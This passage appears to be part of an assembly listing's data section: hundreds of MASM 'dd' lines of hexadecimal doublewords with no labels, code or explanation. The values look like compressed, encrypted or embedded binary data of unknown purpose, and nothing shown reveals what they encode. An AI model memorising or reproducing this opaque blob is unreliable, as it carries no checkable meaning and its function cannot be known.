5B6F9724h, 20FE1721h, 0D4FC4C4h, 65B93400h, 2A4861C3h dd 0C8F4CB7Bh, 0DC0E878h, 0F70E8653h, 0DCB09478h, 0BF0052F5h dd 0DE92648Dh, 16ED115h, 50CB0F6Ah, 0ED45F93Ch, 1E283D7Ch dd 17806538h, 29CEEDF2h, 0EC48F31Ah, 4EF04593h, 0C0C78820h dd 0E1915CF0h, 0EA1BF700h, 2CFF086Eh, 0E3891747h, 8A5400ECh dd 3EE8C2EEh, 0FF9698CFh, 9999D04Eh, 0D2CB6FF1h, 0A7FC40DFh dd 6790A236h, 604A44E0h, 10A7AC2h, 502C2439h, 83460DD5h dd 5F805D21h, 0A49012E9h, 80D4D5AFh, 0D582452Ah, 25F40300h dd 78D224B2h, 222CB05Eh, 0C42D4A35h, 2ED8A970h, 96E0DEC4h dd 2C465E3Ch, 26056A3Eh, 80F73B36h, 57398170h, 4B4508B8h dd 0A0A59E42h, 0EAA1CDE0h, 0D9260378h, 0B9BA3D85h, 0F4630E8h dd 9EE5B50h, 0F25F1316h dd 0A397C442h, 264CD804h, 819C84A6h, 9AE73683h, 8C48700Bh dd 1E3ED705h, 0D4F25406h, 0F631A0F2h, 5E51FD4h, 0BB6DE8A7h dd 5420C1DFh, 78E8FEAAh, 19025F67h, 0DCBC440h, 0D9D471ACh dd 14BC1826h, 0E42AA2E9h, 8D9712h, 0DD5E59DCh, 0F150C7A8h dd 29488CECh, 8CA2BCE0h, 61DE900h, 7BFE6B80h, 0DE01DD8h dd 0B03818ABh, 4D98091Bh, 0C091C06Ch, 8B7F8CE5h, 989D0F17h dd 0D5245CCBh, 0A1E10B17h, 0B7755C00h, 0EE04655Eh, 41C976B4h dd 8CE600C8h, 8C530B04h, 8B2980Eh, 52F3D6C0h, 5D0A0A68h dd 8896F7A8h, 51401E1Ah, 182B7994h, 0DA1B3930h, 0A8D90C1Dh dd 0C9E8249Bh, 8EE1320h, 0DEC0F40Ch, 985BED84h, 50249E08h dd 8400E7A4h, 0AEE6DB88h, 0F332C0A8h, 0EC52CC73h, 33304FE2h dd 74012E7Ah, 0B6A2C17h, 0B4C04FB9h, 57199B4Eh, 26104CE5h dd 0E280406Ch, 0D0062DF8h, 0FA596000h, 0A725F3D1h, 0E72B3DD6h dd 162997B1h, 0BD62C854h, 0C8786859h, 195B85DEh, 5DC0A093h dd 4BD56D0Ah, 9A33806Ch, 0DD182E2Ah, 311A0913h, 5CB4D044h dd 124B4656h, 1000A98Ah, 7B6D434Dh, 0E74640F9h, 5718FBE0h dd 0D1E944C5h, 8E509E9Bh, 4E4F20AAh, 0E3F3E6A0h, 0D90F7DFEh dd 3605D559h, 0BE1C803h, 6150C8A6h, 7ECC2688h, 7AEC2364h dd 0C5941581h, 3EA0512Eh, 0DB2183D9h, 0D0E1A2E7h, 2359BC2h dd 82A356DDh, 0D8AF19A7h, 0C8A86023h, 815B8105h, 0A001FF93h dd 0C0C38CE6h, 1451742Dh, 86D16081h, 26FA3616h, 69B1E01Ch dd 3F2378E6h, 5109CFFh, 0A65B3824h, 69B048F5h, 5E4FFD44h dd 0ADFC0519h, 23B4F2FCh, 26A2692h, 40E95EE1h, 29C44C5h dd 0E76221C1h, 0D6F4AF1Bh, 0BD5928EEh, 356A2EC4h, 0A0A03E3Ch dd 405C6318h, 0C7017F69h, 91AC7189h, 8345B985h, 8F0B3C02h dd 0BE95A056h, 6E365E61h, 0D47500F0h, 0F823FCBEh, 3CF618DFh dd 494221DCh, 49EA202h, 0F8E1922Eh, 782430D8h, 71A9B528h dd 0EEFEF2F4h, 0F50522Dh, 90F98A9Ch, 0EE809491h, 0D95EDF21h dd 443448Ch, 0BA21E607h, 8DD09497h, 3FB1F28Eh, 1B1201BEh dd 3C500441h, 743F247Fh, 0BA0ED04h, 3834AD7Fh, 344C0239h dd 42E246DDh, 0BCFCF240h, 0C9465EE8h, 6A252Ch, 0DC97046Ch dd 0D5633C0Fh, 0D8BB2621h, 708AE20h, 65A3910Bh, 0E7C11071h dd 5F2C8260h, 959FD0F6h, 4338C89h, 1084E640h, 593194D2h dd 43EA7020h, 11B00B86h, 0B018055Bh, 2867C29h, 9D035887h dd 585CFAF8h, 28FD950h, 4B46D858h, 0EF400240h, 0E5098E5Bh dd 20DCAF91h, 26360650h, 5DCD0289h, 0ED0ED6A2h, 0C549E45Ch dd 602D64F0h, 393CCFC2h, 0A8FE7B46h, 0B02B23A0h, 3D3E054Bh dd 421740Fh, 0BCA642E5h, 4F05C12Ch, 0F8323695h, 0C1002A22h dd 8A8EEC06h, 3EF2F7CEh, 9300F3D0h, 1D7FCD75h, 0F00DF54h dd 265784F4h, 2765465Dh, 0B0896F69h, 4F11D81Dh, 0A6066881h dd 9CE0E8D3h, 0C0795725h, 7D840F00h, 3B4C02B7h, 0DC61A793h dd 0EB0EF45Eh, 2781E71Ch, 44784Ch, 0F4E6D1CAh, 747F249Ah dd 5300B0BCh, 3884E090h, 67650A18h, 0C41CEE0Dh, 148D04D3h dd 5700F4ECh, 40714521h, 6A09619Dh, 17F9DF89h, 8F4B91D0h dd 1DEC18CCh, 9BD0D217h, 25DD8050h, 0FAAB6261h, 0D17007A9h dd 0CA3CD2B3h, 189880F8h, 66538FD8h, 2482C309h, 1FDC7AAFh dd 6729AAh, 93C58E5Fh, 8B2765A9h, 91EC97DFh, 0F387804Bh dd 3E655CB7h, 3C011D82h, 0F54C3A1h, 1278961Eh, 4A07A15h dd 3AA5A79Dh, 1C13C4A9h, 3B7802C8h, 0C076972Bh, 1CFF0AF0h dd 80DBFAA0h, 0F32E90C9h, 0B7CE3B8h, 31F29F00h, 32F7BA3Eh dd 90C00044h, 0E4C18FDBh, 0BE00E7D4h, 0E9FE39F4h, 1FFB48FCh dd 0A496FFB4h, 8B31120Ch, 0C0A188D0h, 1AD14A23h, 5DDF7500h dd 0E6154649h, 45720994h, 4C159A7Ah, 0AFC8CB10h, 2B985F85h dd 38046095h, 0C460761Fh, 9068C370h, 49058820h, 203C91E6h dd 6B5891ACh, 4C645C65h, 86850D60h, 0DF6C7E05h, 14E0C390h dd 888D547Bh, 7F690ECAh, 9C603BFFh, 885D1CB6h, 21FA2F02h dd 0C1565918h, 5CEE1AD0h, 9017EBF8h, 5D83CC11h, 56F141B7h dd 0B06D7Ch, 487DABE8h, 2870F383h, 4AAC34E1h, 0AE289166h dd 5C7C24DAh, 0EB423800h, 0D9994852h, 3094F68Bh, 0E521DDAEh dd 0BF01AB3Bh, 2B878022h, 8130CC27h, 139B730Eh, 469C6349h dd 99D63DB8h, 0F6460900h, 0C21F971Dh, 393B3B6Dh, 0C71506F6h dd 29E27FD1h, 0E4E5900h, 711784EEh, 0B08295F0h, 73123EDCh dd 0A61750E8h, 7DAFD200h, 0EE5012D3h, 84FD09B2h, 3079D870h dd 65EBF282h, 44F4E766h, 18FA6049h, 94675393h, 9F56007Ah dd 2AA39433h, 8E0E88CDh, 0A4DF36B7h, 20E0A807h, 25672469h dd 0CEE70178h, 0D0D337AAh, 0D8042982h, 26E9571Ah, 0DAAE04C2h dd 0E9447948h, 0F968302Ah, 0B400D614h, 0F5E78AE3h, 38692E5h dd 3D330695h, 0DFE04C5Dh, 90A89B0Dh, 105B159Ah, 5FC7E006h dd 0FEE412D1h, 0A8F02458h, 0E194040Ch, 0E4A07891h, 4F43018Ah dd 0DF83EE0Ah, 8100FFD0h, 0FCB05A16h, 9D6588C7h, 529A5084h dd 0F3347400h, 79FA2815h, 0C075254Ah, 0C9E40CE5h, 679CD360h dd 0BB543A02h, 523D4C39h, 8AE8FCh, 63C6FD9Bh, 3BA6BFFAh dd 0E3BBAC09h, 0EC498893h, 4674B026h, 4B1E004Ah, 57C6741Dh dd 8E7B3286h, 5A4051D9h, 9C1383C4h, 0D4017E9Eh, 45FA1A56h dd 4D723F0h, 52DF4D5Ch, 3A201942h, 9F249310h, 7D004498h dd 31183B50h, 9221AF57h, 0BA431284h, 0E1C8B230h, 690C43EBh dd 0FEE691A0h, 0F2771509h, 8F74D1C8h, 0C7A0A5D3h, 0D52EFAB9h dd 0ECA0E1FEh, 0DC00A88Bh, 0B04019C6h, 9FCBA6Bh, 0C58CA30Fh dd 895DF072h, 0C8C3242Ch, 91A41DA7h, 838B9D29h, 6FA883E1h dd 0E04858E7h, 9F8C2BE8h, 7CE3A403h, 58404A9Ah, 4E055A42h dd 2DAE6561h, 50DFB009h, 83FE0964h, 0F8025ED7h, 14761A9Bh dd 781E443Eh, 0CA9FC2Dh, 90B195Bh, 6E13E620h, 50E3BF49h dd 5B0E9102h, 0DC5CE3A0h, 0A8CF0CC3h, 0A665931h, 13D5E2F4h dd 15FCBDFCh, 0D81088B6h, 1E3E517h, 0EBE75B04h, 0FC60FE59h dd 21C40D74h, 0F490D0AEh, 28690Ch, 0C19D486Dh, 0F98F6E94h dd 0B7F79500h, 0EC0B1EA5h, 0D9B0B985h, 24184Fh, 82309146h dd 0E2A8B7C9h, 0AF365504h, 20FC25CDh, 4443A0ECh, 0A6D8FC03h dd 0AEA2D3BBh, 40B16060h, 54CB8D80h, 37819C74h, 0C50C845Fh dd 0D1CEC30Fh, 142F180Bh, 0C4A04531h, 8CE60A0h, 6AAB0C6Bh dd 0FAD0954Ah, 5F9C7D04h, 0F2241409h, 44A2B170h, 9A00DE0Ch dd 0F560CBD5h, 553C8D9h, 3498AB0Dh, 812CA9F9h, 6F8946E7h dd 0C618BE42h, 8777BCh, 0AE3D0C2Dh, 0E3E64BEBh, 0A0A98D02h dd 4483FFE5h, 440F090Ch, 2820DB3Dh, 305C9231h, 0B16DA804h dd 108870C5h, 44504493h, 0ED5EE17h, 0A9473090h, 3EF64167h dd 51FA6C32h, 184F7158h, 31FC00B9h, 84C13B97h, 0A13C3D30h dd 0DC12249Eh, 467CC8A6h, 0D25B002Bh, 9EE834F8h, 74C304E2h dd 81BDA506h, 0A217D8h, 4DA30E93h, 0CF274024h, 9948F866h dd 4D3D14D6h, 997D3FBCh, 198809D1h, 6507A017h, 0D8543DA9h dd 6A0178A8h, 9F2B9D7Fh, 0C6E477C0h, 929808C3h, 0CF455194h dd 30B8A084h, 0DF733A80h, 90FC3C2Bh, 0D6485E16h, 0A6776802h dd 99E4D6DDh, 51907CF7h, 0DCC7B4F8h, 843C8AFCh, 5DB80575h dd 0B88385CFh, 0E420CD9Ch, 0EE8BE5DEh, 0D9604FDCh, 0E28C329Ch dd 593630D0h, 0FE6B1116h dd 0CB4A48B7h, 0C0CFC818h, 577DE270h, 0E0DB1B02h, 0EA146ED0h dd 0E6A46024h, 88231294h, 0E5B00292h, 0D059F3DDh, 8643E9D0h dd 6C6D922Dh, 24295200h, 0C44A1B1h, 58D4008Bh, 8F78905Eh dd 2B4F758Eh, 0FECC1488h, 0E5C72D62h, 6D930C61h, 148D5AACh dd 0F2A6088Fh, 718576C9h, 0E498CC0Bh, 5D88C091h, 59FF8602h dd 7D028999h, 43AFCD8Bh, 5E2CDE0Ch, 12001146h, 0D06CE08Bh dd 2050B331h, 0D2CAFBBh, 9D50BC44h, 23E93457h, 88A4DB18h dd 7077C011h, 6E017312h, 36A9BA61h, 747255FFh, 1353930Ch dd 860B8931h, 0C5BB74C4h, 6010C4F0h, 56B319h, 172BE1A5h dd 59301668h, 58FC4E48h, 48025AA3h, 411260ACh, 0C2285EAh dd 83AC9A97h, 88DA0B7Eh, 2ED8A163h, 0BC4BB95h, 0E038DE90h dd 13380387h, 0EE8D27Bh, 0FC561B77h, 1088F4D6h, 2FC4Dh dd 9B48BB5Dh, 6D9C9357h, 0A059B525h, 0AD27DA4h, 5D9D0177h dd 3784FE15h, 1D82D7Eh, 63C7358Ch, 42F547Bh, 124B059Ch dd 2F1C88h, 0B4C6FBF0h, 7AAD4E92h, 648F3E25h, 3907318h dd 0D905C7F7h, 54885B17h, 1F0BAA25h, 593689EBh, 907C93C4h dd 0C7516740h, 8F1E6A00h, 0E6B5D0FFh, 122E138Ch, 81FE040Eh dd 62288A48h, 9461918h, 5CCD413h, 60B305D3h, 1431CBB2h dd 1F4578E0h, 8C0D73C1h, 3E703FF0h, 0B84A097h, 5016C31h dd 0D86BED46h, 72C0EBD0h, 0E6DDFC7Ah, 5BC4B066h, 0FB4CC708h dd 0FE444470h, 0FB10C465h, 54C7021Bh, 233D40Ah, 13AB49DBh dd 6081F0E9h, 3718C7CCh, 0DAA8E0C9h, 99D10D56h, 2E889877h dd 247F686Eh, 2C109027h, 0C0D36410h, 0FA2A723Fh, 81C10B5h dd 7A363DF3h, 911D4F80h, 8E722D39h, 5FE42600h, 0FC9089ABh dd 0E1BB0557h, 0BD630651h, 0F436042Ch, 40E8D5E3h, 2170A602h dd 3040CFFCh, 5D904009h, 7097502Ch, 1D041711h, 0A2369157h dd 582ED2E4h, 93092923h, 0F4C0683Ch, 0A5920079h, 0A9FD3837h dd 0BF01F546h, 1D5C6E94h, 1C723DACh, 0B260A292h, 0EEC33010h dd 217DAE02h, 8F634211h, 7115A9AAh, 0E1A793B0h, 78543180h dd 8C48BC0Ch, 0A85CE10Bh, 45450BBh, 6871084h, 3C0CC85Ah dd 0F73AC700h, 2492E6CCh, 8CE509FBh, 8C026F29h, 6512A453h dd 60CEC4BCh, 5BF7F0h, 0B866EE6h, 90FF985Dh, 0FCDB224Eh dd 21B99AC0h, 9101DB19h, 0AF9C538Bh, 0D860D125h, 0C9722815h dd 9B330BD4h, 0B461A547h, 78DAFC83h, 0FD1204FCh, 60414957h dd 62FF4D0Fh, 0C808532Fh, 9200AB18h, 7B43045Fh, 3EF0E3FDh dd 5C976BAFh, 0FB8C3312h, 4B9C17E8h, 77B21F01h, 0C99B13DEh dd 0A1BC342Ch, 0F6F9988Ch, 7E30F7Ah, 0BAE06A5Ch, 5F31675Dh dd 0BF2890E2h, 97979C8Eh, 87CC91D4h, 0ECD0E8EAh, 1315FE4Ch dd 8CBB4966h, 9115D7A4h, 180DEAEh, 4D203D67h, 0F570C4ACh dd 109B0777h, 70E56ECDh, 3E23432Fh, 3DE3FE3Eh, 0B400746Dh dd 19C73688h, 121A1340h, 20ADE68Dh, 0C90D7264h, 643D0E12h dd 175DE48Ch, 0A794A770h, 582F4F8Ch, 0A6384823h, 92400C7Fh dd 2FE1C81Bh, 440E381h, 3542EDAFh, 0B840E425h, 0F15DA705h dd 0C30F7948h, 20FB667h, 0E010139Ch, 889A6188h, 5E37AE3Ch dd 0E2344054h, 0BD5C0416h, 5CAD024Ah, 76F8FC14h, 0D0004A46h dd 81919D94h, 5B796E0Eh, 6C039F2Fh, 64B000h, 0F8272D48h dd 3AD24B70h, 2CF6ED58h, 180074A9h, 4D45FA19h, 9C800154h dd 0F3F4A0D7h, 8BDC60E5h, 2786F713h, 183E246Fh, 0FD804E3Bh dd 8EABFE39h, 0EB0E45E3h, 4BB4CBC3h, 0D8BDF8h, 39C6BFDAh dd 0B800EC29h, 57486CDCh, 5C5ADD21h, 0A8123C3Fh, 5B144143h dd 4214C311h, 8874B58Ch, 9864C227h, 1B643E0h, 5FC57447h dd 0C672218Ch, 8AF02CC3h, 17B8296Bh, 34BE13F0h, 8CEBE781h dd 6B6AFA28h, 0A7B31C70h, 89C559CCh, 0FEF20085h, 0EC0DE833h dd 0D82E0E8Ch, 46742CF9h, 0A6C300C8h, 0BA9A0AF7h, 2B0B02E1h dd 0F47B1159h, 6C51808Bh, 91AC97ADh, 80AD80CBh, 4B6C8B0h dd 325D3CC0h, 0F570876Ch, 0F6E812C6h, 19FDE0CCh, 16B57F63h dd 98A32535h, 0BCBE2938h, 43EB215Ch, 2357B880h, 284A3B9Ch dd 7F80190Bh, 774E03FCh, 33A8B77Dh, 0FB3095F0h, 40243D0Bh dd 799859D6h, 0B2184Ah, 0DBE3CEC5h, 0F8840913h, 0E044AA14h dd 12815888h, 0F80B1205h, 0A110FB35h, 18CA71F0h, 8A7200FCh dd 94A01522h, 83269147h, 0D1728896h, 183659F4h, 0F3911355h dd 0B7800768h, 0D17D505Eh, 28E5195Bh, 0E8044818h, 0B2008C4Ah dd 118759FBh, 48D563BDh, 0D892A41Bh, 0FC2C8A7Ch, 57001FF5h dd 4FE8AAE3h, 0E4E617EFh, 87E800C6h, 1794639Ah, 0BA511E27h dd 0C4A045F0h, 2669604Bh, 40764BB6h, 2C5142F4h, 0D6755DB4h dd 0CB0FD509h, 2C40F01Ch, 0D63852B5h, 0A20B3646h, 0A0C41DDFh dd 0D1F67101h, 0ECC593A7h, 64FC006Eh, 6560DD2Eh, 0C148CD95h dd 0D4763319h, 7E1475BBh, 10E04A5Ah, 0D139F907h, 8494D05Eh dd 74B0E737h, 4814E520h, 0B2B5BC35h, 30EAB2C0h, 376FAE03h dd 99D7C0F9h, 0C1F6A2h, 63ABD63Dh, 636F70Bh, 976B4503h dd 0AA9D13BDh, 17787459h, 3D300D6h, 0F701295h, 4688E325h dd 973D4B80h, 0B4A5305Ch, 0AE16BA14h, 0A8C98019h, 81FC9B2Ah dd 6561B80Ah, 9D69803Eh, 175C095Fh, 0C3909F00h, 6BA5FF1Dh dd 4B8D1094h, 0A1C418CAh, 863F3044h, 468A0087h, 0B469C01Ch dd 5B1E5D50h, 0BD4083D5h, 0C6552CCAh, 0CB7D17FEh, 45C4B0C7h dd 4A66901h, 42D1AF9Dh, 8BB4642Ch, 0C12D88C0h, 6028AB06h dd 5F139C83h, 849C36EDh, 62649813h, 0BB747143h, 26717CD9h dd 6001EC18h, 8117AE77h, 4B7EA003h, 0F4782B84h, 4D44ACA7h dd 4333B760h, 0A8E16102h, 0F9559CAAh, 14D589F8h, 0CCFC3890h dd 957C5802h, 0C2156C82h, 7F0AC0B4h, 5E749C1Dh, 0DB00CA46h dd 0CB224D06h, 0E44FC5D5h, 0DE4E9420h, 0DA2C0339h, 6DA9A2A6h dd 0EBF10488h, 80952B09h, 2E54EC8Ch, 10EDCA5h, 24A30FD7h dd 0C9147DE4h, 0E8B84BADh, 15A4F3Ah, 0E2FE12D3h, 0FCD20732h dd 6527FAE5h, 0C398CD66h, 0C0EFF6FCh, 0D8A6998Dh, 0C443115Fh dd 5DE9AD1h, 0FB4959D9h, 126CE9F8h, 0D0CEA3CFh, 0B8C0C8C8h dd 454244Ah, 0E48CC76h, 278812Eh, 6D6860CDh, 1E85B5Ch dd 79EA8CE6h, 4060675Dh, 0A35E8846h, 0CBA6C2Ch, 0E8204C24h dd 7065448Dh, 234C80FAh, 5B01C4ADh, 6B5DA57Ah, 5828D36Eh dd 290C04D2h, 8C0F003Bh, 485D579Ch, 2689984Eh, 0B8047058h dd 0A59F83A9h, 592C27ABh, 89E12701h, 0C9D0F8E7h, 2C003173h dd 10EDB46Ch, 50E51813h, 0DF187Ch, 3E7DE707h, 4653EF97h dd 79AA2600h, 0DD80FEF9h, 3D052F7Bh, 0A8018420h, 0AF075D46h dd 0B709D31Bh, 0A4497CF1h, 20B30E8h, 4CB1C4Bh, 98C7278Ah dd 0F4604F44h, 0FB096210h, 8482675Fh, 0F2134340h, 1DFF1178h dd 1BB26F00h, 0A25BEE0Ah, 888B384Fh, 62C026C8h, 908DDBD1h dd 3C25BF34h, 3D8ED7Ch, 29427B17h, 4950BFF5h, 2852F37h dd 0E456357h, 8C619622h, 65ED003Fh, 34D34D69h, 0B80158F8h dd 0CEC3A111h, 0C60532Ch, 0F8C4255Ch, 2A4404C7h, 0CFA7F160h dd 2750600h, 94E61AE1h, 66B0040Bh, 0F01D5F5Eh, 445E9354h dd 0ECC4508Eh, 0A0283343h, 40F955Ah, 1BA861B9h, 9B38C4F7h dd 6E02C078h, 739205C2h, 905F0C01h, 6850EDA7h, 0DA7488A0h dd 551E8282h, 97104039h, 0C65C3153h, 0D2995F19h, 1EC31100h dd 1989006h, 5396A19Dh dd 2A989F70h, 50672491h, 510AAF01h, 0DCC0439Ch, 11C08E15h dd 0E856D916h, 9F223C12h, 0CF58035Fh, 21507CE2h, 5A5BC6A4h dd 0B00E5057h, 2A009026h, 0E7EC7F89h, 6118A930h, 65F95935h dd 66F16B6h, 0DC7C8D56h, 0E65FCED3h, 0DD00006Eh, 63B347D2h dd 2102925Ch, 6959FEC8h, 80D058F3h, 40507580h, 0FC20113Bh dd 8AC1D4Fh, 0ACBC2B9h, 10FC155Fh, 5410EF00h, 0E217987Bh dd 0C54F0114h, 0EACDE05Eh, 4CA04147h, 0E153025Bh, 58806490h dd 3CC55439h, 0B80FC7DFh, 0CE370B82h, 78A58970h, 0A840214h dd 0F7AE8365h, 0ED7CC0D6h, 0C8009718h, 1F202B10h, 1791D6C5h dd 215DFEE7h, 0BF34ADBCh, 0C9B88031h, 0A351B41Fh, 3B921EBCh dd 3C888012h, 5A6EE71Ch, 8F40A4B4h, 25F28F3h, 3FD7404Eh dd 89753852h, 60146D38h, 82F83575h, 0C4366F05h, 0F414F71Fh dd 0E72771E9h, 0E2D0CD92h, 14108D8Bh, 20488D56h, 32717742h dd 465EC07Ch, 10AF2D48h, 5CC0378h, 88A6661Ch, 0AC78AD29h dd 5B94309Bh, 5CB644B1h, 899FE7F4h, 601C4D94h, 545CD6F6h dd 0A7215B0Ah, 7D14B018h, 0EC162C30h, 33E4DEh, 2D5666EDh dd 5B4EB52Bh, 15236912h, 2DAF14E4h, 949D21F2h, 3B81CE11h dd 697CC16Eh, 0D43BB8h, 41B1DBF3h, 0C854Eh, 29EE5913h dd 435D3593h, 0A3068609h, 0E694A7B0h, 3CB8BFF5h, 32A9940Dh dd 0F0503688h, 7F0E1B1h, 483FCD76h, 0B481E015h, 28409FE5h dd 1CA3120Fh, 0C2C91D0h, 60180667h, 249391A4h, 1C607F9Ah dd 89619BD1h, 90314C67h, 0F3D913h, 544CC410h, 6E05F1E6h dd 0D5E53F9Eh, 0E3F4FC81h, 4D1D08Bh, 620F9CF1h, 57822053h dd 50099Eh, 0BAC5FAE5h, 0FFB47105h, 114875Ch, 0B5F3DF8Ah dd 3980A77Bh, 530F6299h, 243CB9E6h, 6993874Ah, 83104C80h dd 2D6D53Dh, 61F1A6E2h, 8B618ACDh, 84446E3h, 0A5E62C80h dd 912C9797h, 4A208ECEh, 0F831C8AAh, 67DA9049h, 634B6488h dd 4F2FF0DAh, 802B5829h, 205D9312h, 0DDAF9BC8h, 858C3558h dd 5CC0BB06h, 0B5CD4F1Dh, 385384A2h, 2F026C58h, 8914E711h dd 852468BFh, 845B14C4h, 0B800E4DCh, 63D0B45Eh, 9894C27Bh dd 84D0AE12h, 0F5779503h, 10150024h, 27D5ACA3h, 0FFB00166h dd 3981F65Eh, 479B0E2Ch, 2ADC65C9h, 0A2C8B08Bh, 48C323C0h dd 0DA6000DFh, 0F7E0163h, 0C26710ABh, 97939578h, 0E8306F47h dd 7B18C88Dh, 785BFC04h, 88B48B35h, 0AF30C02Bh, 0FC02C018h dd 0AB077ECEh, 93A4A02Ch, 9781ACA7h, 9A99DCE8h, 0CCE29743h dd 0D3EC3A31h, 59E10BBDh, 0ACD86381h, 2CF794B0h, 0E67B1394h dd 22007C54h, 1410B52Ah, 9A18F717h, 0E7C47D81h, 3C37003Bh dd 196F99A3h, 0E4B20E98h, 0A531E360h, 12927D47h, 0F9A38FD9h dd 0C73D11A8h, 0D014D512h, 3B813F98h, 1D09D8BAh, 7C56761Ah dd 826C6034h, 1748B5AFh, 95088E44h, 460D00D0h, 15D37402h dd 0F53C0F71h, 0C1804F4Eh, 65366EC3h, 8A3DE6E4h, 9917095Fh dd 0B9070CFh, 52503583h, 0CCE46845h, 948F2960h, 0D5FCBD01h dd 5CB75583h, 45A56DCh, 0CE5893E0h, 0D13E06E4h, 2BA61C39h dd 7E818027h, 8E95CAE2h, 0D4589A00h, 932F7CEBh, 3DBC2574h dd 0D47940C9h, 0A8007839h, 0C5E9E58Eh, 0EE1457E0h, 0F7C33D5Fh dd 71179D02h, 0B44A8F87h, 1B1FA0F6h, 91E49DADh, 20CA80CCh dd 3D0B0168h, 4E743594h, 0AC60122Ch, 9FFB8018h, 98C02672h dd 11A727FAh, 7EA43C0Fh, 4BDCBC06h, 6E0B8F6h, 0D134809h dd 34BC8CA3h, 0A2E48616h, 449EF1B8h, 0D10B340Ch, 80B922F5h dd 0A9E0269Ch, 6EC55B66h, 581B0060h, 43F0AC78h, 0C47702E7h dd 3BB4959h, 840C8720h, 1F6A0940h, 0A099AA2Fh, 5C277A21h dd 8BE2E7B7h, 40DA6261h, 80DEFC34h, 0AF1623D0h, 84D03CD8h dd 73487274h, 82A004CFh, 8262B20Ch, 0AAE06F60h, 8B79FE18h dd 0E4A0C597h, 0EC816528h, 75DC83FEh, 255F0439h, 9A4F89h dd 9C6D1094h, 8BFA5AC8h, 0C04DC860h, 318FB5CDh, 50E5A400h dd 8861C33Ch, 2293254Bh, 0CB11F09Dh, 0EDFEC780h, 0A07A5B33h dd 0AB5A8E01h, 4F369399h, 0AD244B6Ah, 4B2848F2h, 0A05C2DBh dd 93CC2236h, 540F9480h, 2FF45B37h, 449E10C4h, 38A525C0h dd 1500B390h, 79A5369h, 395CB830h, 0B64B78C4h, 0A8C0E074h dd 0FAC7241Dh, 0FC530828h, 0D8B52003h, 0F0ECBC17h, 0D3705F09h dd 0D5139050h, 3CF88C4Ch, 0E08C10BCh, 0D8D50148h, 1682BEDDh dd 0C0F47076h, 646796A2h, 0C36011E4h, 0BF14FEB1h, 9D1501Ah dd 452182A9h, 44A1E2B8h, 96AC18h, 270BA9C6h, 2DFD89C4h dd 2B9F4400h, 0EAA0098Ah, 1B7C00FCh, 20D5264Ah, 9D1DA26Ah dd 419D2A3Eh, 0CD792970h, 1FD3044Bh, 869CEE37h, 0AF6008BDh dd 4BD55B21h, 0C5AC00B0h, 1C155854h, 9841A30Ah, 95C23810h dd 1473003Ch, 86FEE9FFh, 27407F45h, 24043DCh, 1FCF4BD1h dd 10AC31D7h, 4BD957h, 7EA33A8Eh, 771CF102h, 80703400h dd 988103Dh, 2B243F90h, 9AE7958Fh, 20965280h, 99FC8945h dd 474A00Dh, 0A1D52864h, 86F25980h, 0A8921477h, 3F52487Eh dd 33A9F284h, 283352F0h, 1CEFF202h, 97F510h, 0A2D898BFh dd 10990A30h, 1686DE9h, 875423D3h, 985C8C8Eh, 0CA210508h dd 81683965h, 8062EE1Eh, 731CBBE6h, 520604ABh, 0C36B0924h dd 0EA30C078h, 1CDD5D2h, 277CAD1Fh, 0DE085DD8h, 0D020C008h dd 13CD5BAh, 1BF37000h, 6ACB0AECh, 1C96158Eh, 20048CFAh dd 789475h, 0EA622B26h, 0D09A1EE6h, 3867941Ch, 0D1D5CE80h dd 608CCD01h, 0B6CC2195h, 390F67D5h, 1F696364h, 0FD15E403h dd 9402F923h, 844BCC52h, 7060DB8Ch, 2323D268h, 3F0E115Ch dd 6500F1C9h, 0E16FDC73h, 0C6133717h, 0A123C0D0h, 3FE26900h dd 0B9CE1696h, 0BE6E1282h, 0EA4812A0h, 7CD8F511h, 0B18FA834h dd 86038C06h, 41D94449h, 28F0B7E8h, 0D40B11C0h, 3A26E49h dd 0AA9CFD1Dh, 10A3FCCDh, 0E92120h, 5FDB1AABh, 269AC1D3h dd 14A67F00h, 325770Dh, 0D1789149h, 0F03F1893h, 5B663CECh dd 6D7F7200h, 22B1A0B2h, 517DDD74h, 0FBA241Ch, 68A6DA06h dd 16950171h, 9081CC8Dh, 1E9451ABh, 6A20206Bh, 0D5C5048Ch dd 62A501CCh, 0CDCF20DDh, 0CB05FED5h, 8692F38Bh, 0A05BE00Ah dd 0FF0D1C82h, 46744498h, 685101D4h, 863423D7h, 5E88110Ch dd 1A680071h, 1D2ACB6Ah, 0A607B930h, 25769610h, 0ACCD2270h dd 5294483Ch, 1DCE9001h, 9CF8F4F6h, 2B84D820h, 5484FA36h dd 0C5D0D808h, 0A20581D5h, 12D85825h, 1DE688h, 1F8F3F4Ah dd 19F1ECD3h, 0D5507105h, 0D408F6BEh, 4BD0C0DBh, 0CF461FD2h dd 5603AE22h, 81904BD8h, 0A6D0E8BBh, 88050948h, 2C20C394h dd 0B926B17Eh, 174BE08Dh, 434C48B0h, 1FFD025Bh, 829DB896h dd 974C0384h, 87AF1158h, 616E4796h, 8DC3346Ch, 0F1E470A1h dd 141805h, 40769864h, 5DF45FD6h, 1917AB3Dh, 0D9A0B63Eh dd 4B08D218h, 70DF1FD4h, 4B00DA58h, 9307B835h, 269E1F5Dh dd 0B0DC700Ch, 0D3265558h, 98C32818h, 76D77B9h, 0D7AE0B7Ah dd 0E0D8A0FDh, 8A00C788h, 3ACA5D36h, 1CDC822h, 98A965DAh dd 4228C4B9h, 0D330BAC8h, 0A2550849h, 1164FCD5h, 49DBE840h dd 0DA00F81Ch, 0B6350F95h, 0AB41CF31h, 6F60DC9Ch, 2310D168h dd 8C88744h, 6867CC80h, 7FA849h, 2CB69DCEh, 38AC2909h dd 0D83CA30Ch, 3EF1F1ABh, 0A4510F6Ch, 3069E042h, 0D316D5D0h dd 385D01h, 0D5B801CAh dd 0FE2005D0h, 0F6A000C1h, 20EB4860h, 9B490B0Eh, 0C0B6D921h dd 0FA59801Ah, 46052AD3h, 0BEBD005Ch, 2DFC6517h, 9504D2CAh dd 0F7A1C2CCh, 0C0F2FC90h, 3812033Dh, 64FAB6BBh, 2C626FF0h dd 0DDAB0F00h, 0D7CC3B49h, 45870095h, 0D1608C78h, 1D01B8D2h dd 0F32219B9h, 2C3092BEh, 0D7AF05AAh, 43621CBh, 99021CA8h dd 88A04E4Ch, 809FCF0Eh, 0A08B25D2h, 0E402140Bh, 6B90B7E7h dd 3F888476h, 1387CCDBh, 0FC83025h, 0F10063B1h, 14993A50h dd 4D86FF96h, 61BC8890h, 0AB0C9C00h, 0FFA98CB0h, 0B5DE01Eh dd 69283CA2h, 10EDD027h, 0DCFE480Dh, 